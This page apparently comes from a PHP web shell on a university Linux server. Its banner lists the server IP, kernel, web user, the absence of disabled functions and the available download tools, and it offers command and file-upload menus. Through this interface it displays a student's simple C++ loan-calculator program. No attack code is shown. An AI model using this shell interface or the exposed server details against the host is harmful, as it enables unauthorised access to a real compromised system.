Server IP : 172.16.15.8 / Your IP : 3.135.193.193 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/kmmowery/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//------------------------------------------------------------------------------------- // // Written by Kieara Mowery // April 4, 2010 // Written from my cell phone. JAVA Program // //------------------------------------------------------------------------------------ #include <iostream> #include <iomanip> #include <cmath> using namespace std; int main () { const int MTHPYMT = 12; int totalmth, mthhalf; float loanamt, intrate, pymtamt, balance, totalint; cout << endl; cout << endl; cout << "~~~~~~~~~~Welcome to the Loan Analysis Program!~~~~~~~~~~"; cout << endl; cout << endl; cout << "enter Loan Amount --> "; cin >> loanamt; cout << endl; cout << endl; cout << "enter Interest Rate (as decimal) --> " ; cin >> intrate; cout << endl; cout << endl; cout << "enter number of payment --> "; cin >> totalmth; cout << endl; pymtamt = (pow(1 + (intrate / 12), totalmth) / (pow(1 + (intrate /12),totalmth)-1)) * loanamt * (intrate / 12); mthhalf = totalmth / 2; balance = pymtamt * ((1 - (pow(1 + (intrate / 12),(mthhalf - totalmth))))) / (intrate / 12); totalint = (pymtamt * totalmth) - loanamt; cout << fixed; cout << "\n\n ~~~~~~~~~~Loan Summary~~~~~~~~~~ " ; cout << setprecision(2); cout << "\n\n Annual Interest Rate: % " << setw(2) << intrate * 100; cout << "\n\n Number of Monthly Payments: " << setw(2) << loanamt; cout << "\n\n Loan Amount: $ " << setw(2) << loanamt; cout << " \n\n Monthly Payment: $ " << setw(2) << pymtamt; cout << "\n\n Balance Halfway Through: $ " << setw(2) << balance; cout << "\n\n Total Interest Paid: $ " << setw(2) << totalint; cout << endl; return 0; }